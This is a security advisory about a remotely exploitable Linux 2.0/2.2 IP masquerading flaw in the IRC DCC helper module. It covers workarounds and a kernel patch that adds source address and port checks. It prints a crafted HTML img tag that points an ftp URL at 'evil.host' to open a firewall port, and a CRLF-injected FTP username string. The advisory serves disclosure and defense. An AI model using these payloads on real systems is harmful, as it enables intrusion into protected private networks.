COMMAND

    kernel

SYSTEMS AFFECTED

    Linux 2.0, Linux 2.2, and possibly other systems

PROBLEM

    Following is based  on a RAZOR  BindView Advisory by  M. Zalewski.
    A remotely exploitable IP masquerading vulnerability in the  Linux
    kernel can be used to penetrate protected private networks.

    There  was  a  discussion  last  year that detailed exploiting NAT
    packet inspection mechanisms on Linux and other operating  systems
    by forcing  a client's  browser or  MUA software  to send specific
    data patterns  without the  user's knowledge  in order  to open an
    inbound TCP port on the firewall.  The original advisory by Mikael
    Olsson discussed the FTP masquerading helper vulnerability.   When
    found  in  outbound  traffic,  the  specific  pattern  sent by the
    client  software  is  interpreted  by  the  firewall  as  being  a
    legitimate,  user-initiated  transfer  request.   Certain external
    systems  are   then  temporarily   allowed  to   initiate  inbound
    connections to the location  specified in the malicious  packet by
    using the firewall as a packet forwarder.

    Appropriate  (but  not  necessarily  sufficient  -  see  the later
    explainations)  workarounds  were  incorporated  in  Linux kernels
    released  after  the  original  advisory  and  are  now present in
    numerous firewall operating systems.

    Unfortunately,  protocols  other  than  those  mentioned  in   the
    original  discussions  seem  to  be  vulnerable as well.  BindView
    found that IRC DCC helper  (the Linux 2.2 ip_masq_irc module,  and
    modules shipped  with some  other operating  systems / firewalling
    software) can be exploited with

        <img src="ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port">

    or another similar pattern, depending on the helper implementation
    details ("addr" is the internal machine's IP address as a  decimal
    integer).

    This sequence can  be crafted in  an HTML e-mail  or on a  visited
    webpage.   The  attacker  should  listen  on  tcp port 6667 on the
    specified  remote  host  ("evil.host")  and  generate  valid   FTP
    protocol responses.   The attacker  will then  receive information
    about the port number on the firewall that will be forwarded  into
    the protected network.

SOLUTION

    This new NAT  server vulnerability related  to DCC simply  adds to
    the collection of similar  vulnerabilities found in various  other
    protocols,  none  of  which  have  been fixed in any comprehensive
    way.  In  general, the following  five types of  workarounds might
    be used:
    1) Configure  the  NAT  server  to  only allow a certain range  of
       ports  in  processed  requests.   This  workaround  (only ports
       above 1024 are allowed)  is currently implemented by  Linux and
       other vendors.   Unfortunately, this does  not stop attacks  or
       scans against any of the other thousands of high-port  services
       - among the most significant  of these are NFS, X11,  Microsoft
       SQL  Server,  various  RPC  services,  various HTTP proxy/cache
       services, and various remote management/diagnostic services.
    2) Have  the  firewall  do  more  careful  inspection of  protocol
       traffic.   This  could  identify  and  block  noncompliant  IRC
       client behavior, such as the behavior of an HTML e-mail  client
       when accessing an ftp  URL.  Unfortunately, this  requires very
       careful protocol  tracking, and  can be  fooled by  careful URL
       construction (e.g.,  passing the  following string  as the  ftp
       username:

        evilhacker%20+iw%20evilhacker%20evilhacker%0d%0anick%20hacker

       and response fragmentation, or by using a Java applet.
    3) Use  a  personal  firewall  (e.g.,  ZoneAlarm) on the  internal
       machine that  asks for  user verification  before connecting to
       an unusual port (6667) or before accepting suspected  forwarded
       connections. Suitable personal  firewalls may not  be available
       for every OS.
    4) Research, design,  and develop some  way for the  NAT server to
       ask the internal  user whether he  really requested an  inbound
       port (e.g., one-time challenge-response authentication).
    5) Don't  install  helper  modules  on  your NAT server.  For  any
       protocol that needs a helper, require users to deploy a  tunnel
       instead.

    The _actual_ working patch is attached, please apply this one:

    --- linux/net/ipv4/ip_masq_irc.c.dist	Sun Mar 25 13:31:12 2001
    +++ linux/net/ipv4/ip_masq_irc.c	Mon Jul 30 13:29:49 2001
    @@ -22,6 +22,7 @@
      *	  <sshore@escape.ca>
      *	Scottie Shore		:  added support for mIRC DCC resume negotiation
      *	  <sshore@escape.ca>
    + *	Juan Jose Ciarlante	:  src addr/port checking for better security (spotted by Michal Zalewski)
      *
      *	This program is free software; you can redistribute it and/or
      *	modify it under the terms of the GNU General Public License
    @@ -38,7 +39,12 @@
      *	/etc/conf.modules (or /etc/modules.conf depending on your config)
      *	where modload will pick it up should you use modload to load your
      *	modules.
    - *
    + *
    + * Insecure "back" data channel opening
    + * 	The helper does some trivial checks when opening a new DCC data
    + * 	channel. Use module parameter
    + * 		insecure=1
    + *	... to avoid this and get previous (pre 2.2.20) behaviour.
      */
    
     #include <linux/config.h>
    @@ -72,6 +78,9 @@
    
     MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");
    
    +static int insecure=0;
    +MODULE_PARM(insecure, "i");
    +
    
     /*
      * List of supported DCC protocols
    @@ -110,6 +119,30 @@
             return 0;
     }
    
    +
    +/*
    + * 	Ugly workaround [TM] --mummy ... why does this protocol sucks?
    + *
    + *	The <1024 check and same source address just raise the
    + *	security "feeling" => they don't prevent a redirector listening
    + *	in same src address at a higher port; you should protect
    + *	your internal network with ipchains output rules anyway
    + */
    +
    +static inline int masq_irc_out_check(const struct ip_masq *ms, __u32 data_saddr, __u16 data_sport) {
    +	int allow=1;
    +
    +	IP_MASQ_DEBUG(1-debug, "masq_irc_out_check( s_addr=%d.%d.%d.%d, data_saddr=%d.%d.%d.%d, data_sport=%d",
    +			NIPQUAD(ms->saddr), NIPQUAD(data_saddr), ntohs(data_sport));
    +
    +	/*
    +	 * 	Ignore data channel back to other src addr, nor to port < 1024
    +	 */
    +	if (ms->saddr != data_saddr || ntohs(data_sport) < 1024)
    +		allow=0;
    +
    +	return allow;
    +}
     int
     masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct sk_buff **skb_p, __u32 maddr)
     {
    @@ -118,7 +151,7 @@
 	    struct tcphdr *th;
 	    char *data, *data_limit;
 	    __u32 s_addr;
    -	__u16 s_port;
    +	__u32 s_port;	/* larger to allow strtoul() return value validation */
 	    struct ip_masq *n_ms;
 	    char buf[20];		/* "m_addr m_port" (dec base)*/
             unsigned buf_len;
    @@ -199,12 +232,25 @@
 				    s_port = simple_strtoul(data,&data,10);
 				    addr_end_p = data;
    
    +				/*	Sanity checks 		*/
    +				if (!s_addr || !s_port || s_port > 65535)
    +					continue;
    +
    +				/*	Prefer net order from now on 	*/
    +				s_addr = htonl(s_addr);
    +				s_port = htons(s_port);
    +
    +				/* 	Simple validation 	*/
    +				if (!insecure && !masq_irc_out_check(ms, s_addr, s_port))
    +					/* We may just: return 0; */
    +					continue;
    +
 				    /*	Do we already have a port open for this client?
 				     *	If so, use it (for DCC ACCEPT)
 				     */
    
 				    n_ms = ip_masq_out_get(IPPROTO_TCP,
    -						htonl(s_addr),htons(s_port),
    +						s_addr, s_port,
 						    0, 0);
    
 				    /*
    @@ -216,7 +262,7 @@
 				    if (n_ms==NULL)
 					    n_ms = ip_masq_new(IPPROTO_TCP,
 							    maddr, 0,
    -							htonl(s_addr),htons(s_port),
    +							s_addr, s_port,
 							    0, 0,
 							    IP_MASQ_F_NO_DPORT|IP_MASQ_F_NO_DADDR);
 				    if (n_ms==NULL)
    @@ -236,7 +282,10 @@
 				    diff = buf_len - (addr_end_p-addr_beg_p);
    
 				    *addr_beg_p = '\0';
    -				IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %X:%X detected (diff=%d)\n", dcc_p, s_addr,s_port, diff);
    +				IP_MASQ_DEBUG(1-debug, "masq_irc_out(): '%s' %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d detected (diff=%d)\n", dcc_p,
    +					NIPQUAD(s_addr), htons(s_port),
    +					NIPQUAD(n_ms->maddr), htons(n_ms->mport),
    +					diff);
    
 				    /*
 				     *	No shift.